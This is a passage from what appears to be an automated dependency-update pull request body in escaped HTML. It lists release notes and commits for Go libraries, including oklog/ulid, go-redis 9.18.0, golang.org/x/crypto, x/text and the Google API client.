href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ehttps://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/96c4edf226ef639c92f96f42c7c2a161ae0e1a66\"\u003e\u003ccode\u003e96c4edf\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eulid.Zero\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/112\"\u003e#112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/8b543f47f77d8161698307a166e0e42a08f1c78a\"\u003e\u003ccode\u003e8b543f4\u003c/code\u003e\u003c/a\u003e bump actions/checkout@v4 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/113\"\u003e#113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d53f5dd0be1ab8a49bedce0c2680d8981cc3297\"\u003e\u003ccode\u003e1d53f5d\u003c/code\u003e\u003c/a\u003e bump actions/setup-go@v5 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/114\"\u003e#114\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/a1d104faec9c5689bc5efd76c2b1820882ab3c93\"\u003e\u003ccode\u003ea1d104f\u003c/code\u003e\u003c/a\u003e Add ulid.Timestamp method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/107\"\u003e#107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/b4f99149a957226cf1ecd2d4da65297b809e9776\"\u003e\u003ccode\u003eb4f9914\u003c/code\u003e\u003c/a\u003e README: println -\u0026gt; fmt.Println\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/99f59762fe4431686af13a3dd4b190761b2ae908\"\u003e\u003ccode\u003e99f5976\u003c/code\u003e\u003c/a\u003e Refactor default entropy and fix test (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/6222989e3f95150b27dc0c18ac418c3eb7bffd02\"\u003e\u003ccode\u003e6222989\u003c/code\u003e\u003c/a\u003e ulid: add MakeFromTime helper function (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/87\"\u003e#87\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/ab8634515f749314bab81ba967c8641cd5d2616d\"\u003e\u003ccode\u003eab86345\u003c/code\u003e\u003c/a\u003e Add fmt, vet, staticcheck to CI and lint accordingly (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/89\"\u003e#89\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1dfe33aa6d21e9797692115f2e59fb97eae1b2bc\"\u003e\u003ccode\u003e1dfe33a\u003c/code\u003e\u003c/a\u003e README: fix small typos (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/88\"\u003e#88\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d504c6497efb575b36f513b53d332a373ebeba0\"\u003e\u003ccode\u003e1d504c6\u003c/code\u003e\u003c/a\u003e README: fix ulid tool install instructions\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.17.2 to 9.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.18.0\u003c/h2\u003e\n\u003ch3\u003eRedis 8.6 Support\u003c/h3\u003e\n\u003cp\u003eAdded support for Redis 8.6, including new commands and features for streams idempotent production and HOTKEYS.\u003c/p\u003e\n\u003ch3\u003eSmart Client Handoff (Maintenance Notifications) for Cluster\u003c/h3\u003e\n\u003cp\u003eThis release introduces comprehensive support for Redis Enterprise Cluster maintenance notifications via SMIGRATING/SMIGRATED push notifications. The client now automatically handles slot migrations by:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRelaxing timeouts during migration\u003c/strong\u003e (SMIGRATING) to prevent false failures\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTriggering lazy cluster state reloads\u003c/strong\u003e upon completion (SMIGRATED)\u003c/li\u003e\n\u003cli\u003eEnabling seamless operations during Redis Enterprise maintenance windows\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3643\"\u003e#3643\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eOpenTelemetry Native Metrics Support\u003c/h3\u003e\n\u003cp\u003eAdded comprehensive OpenTelemetry metrics support following the \u003ca href=\"https://opentelemetry.io/docs/specs/semconv/database/database-metrics/\"\u003eOpenTelemetry Database Client Semantic Conventions\u003c/a\u003e. The implementation uses a Bridge Pattern to keep the core library dependency-free while providing optional metrics instrumentation through the new \u003ccode\u003eextra/redisotel-native\u003c/code\u003e package.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMetric groups include:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCommand metrics: Operation duration with retry tracking\u003c/li\u003e\n\u003cli\u003eConnection basic: Connection count and creation time\u003c/li\u003e\n\u003cli\u003eResiliency: Errors, handoffs, timeout relaxation\u003c/li\u003e\n\u003cli\u003eConnection advanced: Wait time and use time\u003c/li\u003e\n\u003cli\u003ePubsub metrics: Published and received messages\u003c/li\u003e\n\u003cli\u003eStream metrics: Processing duration and maintenance notifications\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3637\"\u003e#3637\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHOTKEYS Commands\u003c/strong\u003e: Added support for Redis HOTKEYS feature for identifying hot keys based on CPU consumption and network utilization (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3695\"\u003e#3695\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStreams Idempotent Production\u003c/strong\u003e: Added support for Redis 8.6+ Streams Idempotent Production with \u003ccode\u003eProducerID\u003c/code\u003e, \u003ccode\u003eIdempotentID\u003c/code\u003e, \u003ccode\u003eIdempotentAuto\u003c/code\u003e in \u003ccode\u003eXAddArgs\u003c/code\u003e and new \u003ccode\u003eXCFGSET\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3693\"\u003e#3693\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNaN Values for TimeSeries\u003c/strong\u003e: Added support for NaN (Not a Number) values in Redis time series commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3687\"\u003e#3687\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDialerRetries Options\u003c/strong\u003e: Added \u003ccode\u003eDialerRetries\u003c/code\u003e and \u003ccode\u003eDialerRetryTimeout\u003c/code\u003e to \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, and \u003ccode\u003eFailoverOptions\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3686\"\u003e#3686\u003c/a\u003e) by \u003ca href=\"https://github.com/naveenchander30\"\u003e\u003ccode\u003e@​naveenchander30\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnMaxLifetimeJitter\u003c/strong\u003e: Added jitter configuration to distribute connection expiration times and prevent thundering herd (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3666\"\u003e#3666\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDigest Helper Functions\u003c/strong\u003e: Added \u003ccode\u003eDigestString\u003c/code\u003e and \u003ccode\u003eDigestBytes\u003c/code\u003e helper functions for client-side xxh3 hashing compatible with Redis DIGEST command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3679\"\u003e#3679\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSMIGRATED New Format\u003c/strong\u003e: Updated SMIGRATED parser to support new format and remember original host:port (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3697\"\u003e#3697\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCluster State Reload Interval\u003c/strong\u003e: Added cluster state reload interval option for maintenance notifications (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3663\"\u003e#3663\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub nil pointer dereference\u003c/strong\u003e: Fixed nil pointer dereference in PubSub after \u003ccode\u003eWithTimeout()\u003c/code\u003e - \u003ccode\u003epubSubPool\u003c/code\u003e is now properly cloned (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3710\"\u003e#3710\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMaintNotificationsConfig nil check\u003c/strong\u003e: Guard against nil \u003ccode\u003eMaintNotificationsConfig\u003c/code\u003e in \u003ccode\u003einitConn\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3707\"\u003e#3707\u003c/a\u003e) by \u003ca href=\"https://github.com/veeceey\"\u003e\u003ccode\u003e@​veeceey\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewantConnQueue zombie elements\u003c/strong\u003e: Fixed zombie \u003ccode\u003ewantConn\u003c/code\u003e elements accumulation in \u003ccode\u003ewantConnQueue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3680\"\u003e#3680\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eXADD/XTRIM approx flag\u003c/strong\u003e: Fixed XADD and XTRIM to use \u003ccode\u003e=\u003c/code\u003e when approx is false (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3684\"\u003e#3684\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSentinel timeout retry\u003c/strong\u003e: When connection to a sentinel times out, attempt to connect to other sentinels (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3654\"\u003e#3654\u003c/a\u003e) by \u003ca href=\"https://github.com/cxljs\"\u003e\u003ccode\u003e@​cxljs\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⚡ Performance\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e9.18.0 (2026-02-16)\u003c/h1\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eRedis 8.6 Support\u003c/h3\u003e\n\u003cp\u003eAdded support for Redis 8.6, including new commands and features for streams idempotent production and HOTKEYS.\u003c/p\u003e\n\u003ch3\u003eSmart Client Handoff (Maintenance Notifications) for Cluster\u003c/h3\u003e\n\u003cp\u003eThis release introduces comprehensive support for Redis Cluster maintenance notifications via SMIGRATING/SMIGRATED push notifications. The client now automatically handles slot migrations by:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRelaxing timeouts during migration\u003c/strong\u003e (SMIGRATING) to prevent false failures\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTriggering lazy cluster state reloads\u003c/strong\u003e upon completion (SMIGRATED)\u003c/li\u003e\n\u003cli\u003eEnabling seamless operations during Redis Enterprise maintenance windows\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3643\"\u003e#3643\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eOpenTelemetry Native Metrics Support\u003c/h3\u003e\n\u003cp\u003eAdded comprehensive OpenTelemetry metrics support following the \u003ca href=\"https://opentelemetry.io/docs/specs/semconv/database/database-metrics/\"\u003eOpenTelemetry Database Client Semantic Conventions\u003c/a\u003e. The implementation uses a Bridge Pattern to keep the core library dependency-free while providing optional metrics instrumentation through the new \u003ccode\u003eextra/redisotel-native\u003c/code\u003e package.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMetric groups include:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCommand metrics: Operation duration with retry tracking\u003c/li\u003e\n\u003cli\u003eConnection basic: Connection count and creation time\u003c/li\u003e\n\u003cli\u003eResiliency: Errors, handoffs, timeout relaxation\u003c/li\u003e\n\u003cli\u003eConnection advanced: Wait time and use time\u003c/li\u003e\n\u003cli\u003ePubsub metrics: Published and received messages\u003c/li\u003e\n\u003cli\u003eStream metrics: Processing duration and maintenance notifications\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3637\"\u003e#3637\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHOTKEYS Commands\u003c/strong\u003e: Added support for Redis HOTKEYS feature for identifying hot keys based on CPU consumption and network utilization (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3695\"\u003e#3695\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStreams Idempotent Production\u003c/strong\u003e: Added support for Redis 8.6+ Streams Idempotent Production with \u003ccode\u003eProducerID\u003c/code\u003e, \u003ccode\u003eIdempotentID\u003c/code\u003e, \u003ccode\u003eIdempotentAuto\u003c/code\u003e in \u003ccode\u003eXAddArgs\u003c/code\u003e and new \u003ccode\u003eXCFGSET\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3693\"\u003e#3693\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNaN Values for TimeSeries\u003c/strong\u003e: Added support for NaN (Not a Number) values in Redis time series commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3687\"\u003e#3687\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDialerRetries Options\u003c/strong\u003e: Added \u003ccode\u003eDialerRetries\u003c/code\u003e and \u003ccode\u003eDialerRetryTimeout\u003c/code\u003e to \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, and \u003ccode\u003eFailoverOptions\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3686\"\u003e#3686\u003c/a\u003e) by \u003ca href=\"https://github.com/naveenchander30\"\u003e\u003ccode\u003e@​naveenchander30\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnMaxLifetimeJitter\u003c/strong\u003e: Added jitter configuration to distribute connection expiration times and prevent thundering herd (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3666\"\u003e#3666\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDigest Helper Functions\u003c/strong\u003e: Added \u003ccode\u003eDigestString\u003c/code\u003e and \u003ccode\u003eDigestBytes\u003c/code\u003e helper functions for client-side xxh3 hashing compatible with Redis DIGEST command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3679\"\u003e#3679\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSMIGRATED New Format\u003c/strong\u003e: Updated SMIGRATED parser to support new format and remember original host:port (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3697\"\u003e#3697\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCluster State Reload Interval\u003c/strong\u003e: Added cluster state reload interval option for maintenance notifications (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3663\"\u003e#3663\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub nil pointer dereference\u003c/strong\u003e: Fixed nil pointer dereference in PubSub after \u003ccode\u003eWithTimeout()\u003c/code\u003e - \u003ccode\u003epubSubPool\u003c/code\u003e is now properly cloned (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3710\"\u003e#3710\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMaintNotificationsConfig nil check\u003c/strong\u003e: Guard against nil \u003ccode\u003eMaintNotificationsConfig\u003c/code\u003e in \u003ccode\u003einitConn\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3707\"\u003e#3707\u003c/a\u003e) by \u003ca href=\"https://github.com/veeceey\"\u003e\u003ccode\u003e@​veeceey\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewantConnQueue zombie elements\u003c/strong\u003e: Fixed zombie \u003ccode\u003ewantConn\u003c/code\u003e elements accumulation in \u003ccode\u003ewantConnQueue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3680\"\u003e#3680\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eXADD/XTRIM approx flag\u003c/strong\u003e: Fixed XADD and XTRIM to use \u003ccode\u003e=\u003c/code\u003e when approx is false (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3684\"\u003e#3684\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSentinel timeout retry\u003c/strong\u003e: When connection to a sentinel times out, attempt to connect to other sentinels (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3654\"\u003e#3654\u003c/a\u003e) by \u003ca href=\"https://github.com/cxljs\"\u003e\u003ccode\u003e@​cxljs\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/90faf0692313160b1140f96716763227912aec44\"\u003e\u003ccode\u003e90faf06\u003c/code\u003e\u003c/a\u003e chore(release): update versions in deps (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3712\"\u003e#3712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/bf8e8e3b16dc5b4f51b69e9bb9a49b72fb9e3e79\"\u003e\u003ccode\u003ebf8e8e3\u003c/code\u003e\u003c/a\u003e chore(release): v9.18.0 (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3711\"\u003e#3711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/a881cd4280bf6006c14eda4b9449168b30e7dd02\"\u003e\u003ccode\u003ea881cd4\u003c/code\u003e\u003c/a\u003e fix(clone): nil pointer dereference in PubSub after WithTimeout() (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3710\"\u003e#3710\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/ee6e9dbf09125366d1270f31969b493325f524f1\"\u003e\u003ccode\u003eee6e9db\u003c/code\u003e\u003c/a\u003e feat(otel): Add OpenTelemetry Native Metrics Support (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3637\"\u003e#3637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/b53f2b0c9d1fa4e19680a20de2050aa7c2c5ab8d\"\u003e\u003ccode\u003eb53f2b0\u003c/code\u003e\u003c/a\u003e feat(sch): MaintNotifications for ClusterClient (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3643\"\u003e#3643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/f25343d2813d9f718a9158175d747173756f02c2\"\u003e\u003ccode\u003ef25343d\u003c/code\u003e\u003c/a\u003e chore(tests): Add comprehensive TLS tests and example (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3681\"\u003e#3681\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/33ca5cb864ce5567e8c955f66aba2723e89100d3\"\u003e\u003ccode\u003e33ca5cb\u003c/code\u003e\u003c/a\u003e feat(commands): Add support for Redis HOTKEYS commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3695\"\u003e#3695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/34f4568e4f847465a5219fb51267c41433407c52\"\u003e\u003ccode\u003e34f4568\u003c/code\u003e\u003c/a\u003e fix(conn): guard against nil MaintNotificationsConfig in initConn (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3707\"\u003e#3707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/2fc030f0d1020e3c7a52011343fcd10b995c22df\"\u003e\u003ccode\u003e2fc030f\u003c/code\u003e\u003c/a\u003e perf(options): perf Fuzz Test Go File (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3692\"\u003e#3692\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/63ed1fd9cd6084e3bd68903d9f9a72df165693a7\"\u003e\u003ccode\u003e63ed1fd\u003c/code\u003e\u003c/a\u003e Add support for Redis Streams Idempotent Production (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3693\"\u003e#3693\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/redis/go-redis/compare/v9.17.2...v9.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.49.0 to 0.50.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/03ca0dcccbd37ba6be80adf74dde8d78a4d72817\"\u003e\u003ccode\u003e03ca0dc\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/8400f4a938077a7a7817ab7d163d148e371b320b\"\u003e\u003ccode\u003e8400f4a\u003c/code\u003e\u003c/a\u003e ssh: respect signer's algorithm preference in pickSignatureAlgorithm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/81c6cb34a8fc386ed53293cd79e3c0c232ee7366\"\u003e\u003ccode\u003e81c6cb3\u003c/code\u003e\u003c/a\u003e ssh: swap cbcMinPaddingSize to cbcMinPacketSize to get encLength\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/crypto/compare/v0.49.0...v0.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/text` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/text/commit/8577a70117e110160c45f32af0e0df84eef844f7\"\u003e\u003ccode\u003e8577a70\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/text/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google.golang.org/api` from 0.269.0 to 0.276.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/googleapis/google-api-go-client/releases\"\u003egoogle.golang.org/api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.276.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.275.0...v0.276.0\"\u003e0.276.0\u003c/a\u003e (2026-04-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3561\"\u003e#3561\u003c/a\u003e) (\u003ca 